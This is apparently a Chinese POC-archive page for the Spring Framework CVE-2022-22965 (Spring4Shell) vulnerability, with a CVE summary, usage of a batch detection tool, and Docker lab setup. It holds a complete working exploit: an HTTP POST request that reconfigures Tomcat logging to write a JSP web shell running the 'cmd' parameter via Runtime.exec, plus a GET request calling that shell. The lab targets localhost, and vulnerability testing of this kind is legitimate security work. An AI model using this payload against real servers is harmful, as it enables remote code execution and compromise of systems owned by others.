关联漏洞
标题:
Spring Framework 代码注入漏洞
(CVE-2022-22965)
描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
描述
批量无损检测CVE-2022-22965
介绍
## Spring-Core JDK9+ RCE
### 使用说明
```
╰─ ./CVE-2022-22965 -h ─╯
单个检测:./CVE-2022-22965 -u http://127.0.0.1:8080
批量检测:./CVE-2022-22965 -l url.txt
```
### 漏洞本地测试
##### 0x01 docker镜像
```
docker pull vulfocus/spring-core-rce-2022-03-29
docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-29
```
-it:开启输入功能并连接伪终端
-d: 后台运行容器
-p: 端口映射
##### 0x02 本地war包
将war包放在本地webapps目录下
jdk切换成9以上,我这里是jdk11,然后启动tomcat

注入EXP:
```
POST / HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
suffix: %>
prefix: <%Runtime
Content-Type: application/x-www-form-urlencoded
Content-Length: 495
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
```
执行命令:
```
GET /shell.jsp?cmd=open%20/System/Applications/Calculator.app HTTP/1.1
Host: 127.0.0.1:8080
```

文件快照
[4.0K] /data/pocs/afec72715f8f7767fd102fddcdabc176ee542c23
├── [ 184] go.mod
├── [6.0K] go.sum
├── [3.0K] main.go
├── [2.1K] README.md
└── [ 14] url.txt
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。